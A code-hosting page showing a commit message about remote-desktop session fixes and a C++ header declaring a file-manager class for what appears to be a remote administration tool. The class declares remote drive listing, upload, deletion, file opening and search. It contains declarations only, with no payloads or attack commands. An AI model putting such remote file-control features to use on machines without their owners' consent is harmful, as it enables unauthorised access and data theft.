- Server: clamp web session adaptive quality to H264-only levels (>=Good) in EvaluateQuality and ApplyQualityLevel; Ultra/High (DIFF/RGB565) caused the browser to freeze ~1 min into a session - Server: move session-type detection to the top of ScreenSpyDlg::OnInitDialog and skip SetWindowPlacement/EnterFullScreen for hidden web sessions, eliminating the MFC dialog flash on web-triggered opens - Linux client: default QualityLevel from QUALITY_ADAPTIVE to QUALITY_GOOD to match Windows/macOS so the server's adaptive controller doesn't auto-upgrade to non-H264 algorithms - Web: clear the floating quick-action toolbar on fullscreen exit so its row of buttons (RDP reset / Mouse / Close) doesn't stay pinned to the top of the page - Web: route F11 to the remote in control mode instead of toggling local fullscreen - Web: route Esc to the remote in control mode via the Keyboard Lock API instead of exiting native fullscreen
67 lines
2.4 KiB
C++
67 lines
2.4 KiB
C++
// FileManager.h: interface for the CFileManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
#include "IOCPClient.h"
|
|
#include "common.h"
|
|
typedef IOCPClient CClientSocket;
|
|
|
|
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
|
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
|
#include <winsock2.h>
|
|
#include <list>
|
|
#include <string>
|
|
|
|
#include "Manager.h"
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
typedef struct {
|
|
UINT nFileSize; // 文件大小
|
|
UINT nSendSize; // 已发送大小
|
|
} SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
|
|
|
|
|
class CFileManager : public CManager
|
|
{
|
|
public:
|
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
|
UINT SendDriveList();
|
|
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
|
virtual ~CFileManager();
|
|
private:
|
|
std::list <std::string> m_UploadList;
|
|
UINT m_nTransferMode;
|
|
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
|
std::string m_Signature;
|
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
|
bool UploadToRemote(LPBYTE lpBuffer);
|
|
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
|
void CollectFilesRecursiveV2(const std::string& dirPath, const std::string& basePath, std::vector<std::string>& files);
|
|
bool FixedUploadList(LPCTSTR lpszDirectory);
|
|
void StopTransfer();
|
|
UINT SendFilesList(LPCTSTR lpszDirectory);
|
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
|
UINT SendFileSize(LPCTSTR lpszFileName);
|
|
UINT SendFileData(LPBYTE lpBuffer);
|
|
void CreateFolder(LPBYTE lpBuffer);
|
|
void Rename(LPBYTE lpBuffer);
|
|
int SendToken(BYTE bToken);
|
|
|
|
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
|
void SetTransferMode(LPBYTE lpBuffer);
|
|
void GetFileData();
|
|
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
|
void UploadNext();
|
|
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
|
void SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName);
|
|
void SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime);
|
|
static DWORD WINAPI SearchThreadProc(LPVOID lpParam);
|
|
HANDLE m_hSearchThread;
|
|
volatile bool m_bSearching;
|
|
};
|
|
|
|
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|